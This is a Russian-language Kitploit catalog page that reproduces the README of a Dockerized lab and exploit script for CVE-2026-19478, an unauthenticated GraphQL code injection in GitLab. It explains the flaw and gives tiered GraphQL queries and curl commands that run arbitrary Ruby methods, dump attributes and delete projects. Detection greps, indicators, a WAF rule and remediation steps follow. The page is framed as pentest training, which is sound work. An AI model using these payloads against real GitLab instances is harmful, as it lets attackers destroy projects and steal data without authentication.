Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Gitlab-CVE-2026-19478 — Докеризированная лаборатория эксплойтов и скрипт для CVE-2026-19478 — критической неаутентифицированной инъекции кода в GitLab GraphQL, позволяющей выполнять произвольные вызовы методов Ruby, удалять проекты и похищать данные. | Kitploit
Инструменты/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubpunitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

Докеризированная лаборатория эксплойтов и скрипт для CVE-2026-19478 — критической неаутентифицированной инъекции кода в GitLab GraphQL, позволяющей выполнять произвольные вызовы методов Ruby, удалять проекты и похищать данные.

Репозиторий
2 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-19478 — Инъекция через директиву @gl_introduced в GraphQL GitLab

Неаутентифицированная удалённая инъекция кода через директиву GraphQL в GitLab CE/EE — удалите любой публичный проект одним HTTP-запросом

Практическая лаборатория для пентеста, воспроизводящая CVE-2026-19478 — критическую уязвимость (CVSS 9.4) в GraphQL API GitLab. Директива @gl_introduced позволяет неаутентифицированным атакующим вызывать произвольные методы Ruby на серверных объектах — включая удаление проектов, эксфильтрацию данных и передачу прав владения — без какой-либо аутентификации.

Эта лаборатория запускает реально уязвимый экземпляр GitLab CE 19.2.0 в Docker для реалистичной отработки эксплуатации.

Оглавление

  • Сводка об уязвимости
  • Как работает эксплойт
  • Схема потока атаки
  • Настройка лаборатории
  • Руководство по эксплуатации уязвимости
  • Использование скрипта эксплойта
  • Обнаружение и индикаторы компрометации
  • Устранение уязвимости
  • Ссылки
  • Отказ от ответственности
  • Свяжитесь с нами

Сводка об уязвимости

Скачать инструмент
ПолеЗначение
Идентификатор CVECVE-2026-19478
Оценка CVSS9.4 (критическая)
ПродуктGitLab Community Edition (CE) / Enterprise Edition (EE)
Тип уязвимостиИнъекция кода / выполнение произвольных методов (CWE-94)
Вектор атакиСеть (удалённо)
АутентификацияНе требуется
Взаимодействие с пользователемНет
Сложность атакиНизкая
Затронутые версии18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
Исправленные версии18.11.11, 19.0.8, 19.1.6, 19.2.4
Кем обнаруженаhiimguardian (через HackerOne)
Дата исправления17 августа 2026 года

Воздействие

Неаутентифицированный удалённый атакующий может:

  • Безвозвратно удалить любой публичный проект
  • Эксфильтровать внутренние данные, токены администратора и секреты
  • Изменить видимость проекта, права владения и настройки
  • Выполнять произвольные методы Ruby в серверной модели Project
  • Архивировать или передавать проекты без авторизации

Как работает эксплойт

Директива @gl_introduced

GitLab использует собственную директиву GraphQL @gl_introduced(version: "X.Y") для поддержки поэтапных развёртываний. Когда более новая версия GitLab добавляет поле в GraphQL API, старые экземпляры корректно обрабатывают запросы, ссылающиеся на эти новые поля, возвращая null вместо ошибки.

Уязвимый путь выполнения кода

Файл: lib/gitlab/graphql/version_filter/future_field_fallback.rb (строки 14–36)

Пошаговый разбор:

  1. FutureFieldFilter сканирует входящие GraphQL-запросы. Когда поле содержит @gl_introduced(version) с версией новее, чем у текущего сервера, он удаляет поле и устанавливает context[:contain_future_fields] = true.

  2. IntroducedTracer восстанавливает исходный документ запроса во время выполнения, возвращая удалённые поля обратно в AST.

  3. FutureFieldFallback#get_field перехватывает каждый поиск поля во время выполнения. Он проверяет три условия:

    • Установлен ли флаг contain_future_fields? ✅
    • Отсутствует ли поле в схеме? ✅
    • Не начинается ли имя с __? ✅
    • Безопасно ли имя поля? ❌ Проверки не существует!
  4. Когда все три проверки пройдены, он синтезирует новый GraphQL::Schema::Field без класса резолвера.

  5. В graphql-ruby поле без резолвера разрешается вызовом object.public_send(field_name) на базовом объекте Ruby — превращая имя поля, указанное атакующим, в произвольный вызов метода модели Project ActiveRecord.

Исправление (19.2.4+)

Патч GitLab заменяет неявный вызов методов явным NilResolver, который безусловно возвращает nil, сохраняя совместимость с поэтапным развёртыванием и устраняя возможность выполнения произвольных методов:

root@kitploit:~
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

Схема потока атаки

root@kitploit:~
                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

Настройка лаборатории

Предварительные требования

  • Установленные Docker и Docker Compose
  • Минимум 4 ГБ ОЗУ для Docker (GitLab требователен к ресурсам)
  • Python 3 (для скрипта эксплойта)
  • Веб-браузер или curl / httpie для тестирования API

Быстрый старт — реальный GitLab CE 19.2.0 (уязвимый)

root@kitploit:~
# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

Точки доступа

СервисURLУчётные данные
Веб-интерфейс GitLabhttp://localhostroot / P@ssw0rd123!
GraphQL APIhttp://localhost/api/graphqlНе требуется
Обозреватель GraphQLhttp://localhost/-/graphql-explorerТребуется вход
SSHlocalhost:2222—

Облегчённая альтернатива (имитация)

Для машин с ограниченными ресурсами или для более быстрого запуска:

root@kitploit:~
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000

Остановка / полный сброс

root@kitploit:~
# Stop the lab
docker compose down

# Full reset (removes all data volumes)
docker compose down -v

Руководство по эксплуатации уязвимости

Уровень 1 — Разведка (без аутентификации)

Проверьте версию сервера:

root@kitploit:~
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}

Перечислите публичные проекты через GraphQL (без аутентификации):

root@kitploit:~
{
  projects(membership: false) {
    nodes {
      id
      name
      fullPath
      visibility
    }
  }
}

Обнаружьте директиву @gl_introduced с помощью интроспекции схемы:

root@kitploit:~
{
  __schema {
    directives {
      name
      description
      args { name type { name } }
      locations
    }
  }
}

Уровень 2 — Активация уязвимости

Используйте @gl_introduced с будущей версией для поля, которого нет в схеме:

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    class @gl_introduced(version: "99.0")
  }
}

Если уязвимость присутствует, class вернёт имя Ruby-класса ("Project"), что подтверждает произвольный вызов метода.

Уровень 3 — Эксфильтрация данных

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    object_id @gl_introduced(version: "99.0")
    to_s @gl_introduced(version: "99.0")
  }
}

Уровень 4 — Деструктивная эксплуатация

ПРЕДУПРЕЖДЕНИЕ: Приведённый ниже запрос безвозвратно удалит проект.

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    destroy @gl_introduced(version: "99.0")
  }
}

Другие эксплуатируемые методы модели Project в GitLab:

МетодВоздействие
destroyБезвозвратно удаляет проект
archiveАрхивирует проект
transferПередаёт права владения проектом
attributesВыгружает все атрибуты из базы данных
repositoryДаёт доступ к объекту репозитория
membersВыводит список участников проекта

Примеры использования curl

root@kitploit:~
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq

# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq

# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq

Обнаружение и индикаторы компрометации

Анализ журналов

root@kitploit:~
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log

# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
  awk -F. '$1 > 20 {print}'

Индикаторы компрометации (IOC)

ИндикаторОписание
@gl_introduced(version: "99.0")Попытка эксплуатации с нереалистично высокой версией
Имена полей: destroy, delete, update, transferНацеленность на деструктивные методы ActiveRecord
Неожиданные удаления проектовПроекты исчезают без действий администратора
Изменения видимостиПубличные проекты внезапно становятся приватными
Передача прав владенияПроекты передаются неизвестным пользователям

Правила WAF

Блокируйте GraphQL-запросы, содержащие @gl_introduced с высокими номерами версий:

root@kitploit:~
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
    return 403;
}

Устранение уязвимости

  1. Немедленно установите обновление — обновитесь до GitLab 18.11.11+, 19.0.8+, 19.1.6+ или 19.2.4+
  2. Смягчение на уровне WAF — блокируйте GraphQL-запросы, содержащие @gl_introduced со строками высоких версий, на уровне обратного прокси/WAF
  3. Журналы аудита — проверьте журналы активности проектов на предмет несанкционированных изменений, удалений или изменения видимости
  4. Журналы доступа — поищите в журналах веб-сервера признаки эксплуатации (см. раздел «Обнаружение» выше)
  5. Реагирование на инциденты — если эксплуатация подтверждена, проверьте признаки эксфильтрации данных и восстановите удалённые проекты из резервных копий


Автор PoC

CVE-2026-19478

Ссылки

  • Рекомендации по безопасности GitLab — 17 августа 2026 года
  • OWASP A03:2021 — Инъекции
  • CWE-94: Некорректный контроль генерации кода (инъекция кода)
  • OX Security: анализ CVE GraphQL в GitLab
  • Help Net Security: критическая уязвимость GitLab
  • CyCognito: рекомендации по новой угрозе
  • The Hacker News: критическая уязвимость GraphQL в GitLab

Отказ от ответственности

Эта лаборатория создана исключительно для авторизованного обучения в области безопасности и тренировки по пентесту. Её следует использовать только в контролируемых изолированных средах, которые принадлежат вам или на тестирование которых у вас есть явное письменное разрешение.

Не используйте методики, инструменты или код эксплойта из этой лаборатории против какой-либо системы без надлежащего разрешения. Несанкционированный доступ к компьютерным системам является незаконным согласно Закону о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичным законам во всём мире.

Авторы и участники не несут ответственности за любое неправомерное использование или ущерб, причинённый данной лабораторией или её содержимым.


Свяжитесь с нами

Follow on Instagram   Connect on LinkedIn

Подписывайтесь на @pwnsystem в Instagram, чтобы получать ежедневные советы по кибербезопасности, разборы CVE и руководства по эксплуатации уязвимостей.
Свяжитесь с Punit Darji в LinkedIn, чтобы получать профессиональную аналитику по безопасности и обновления лаборатории.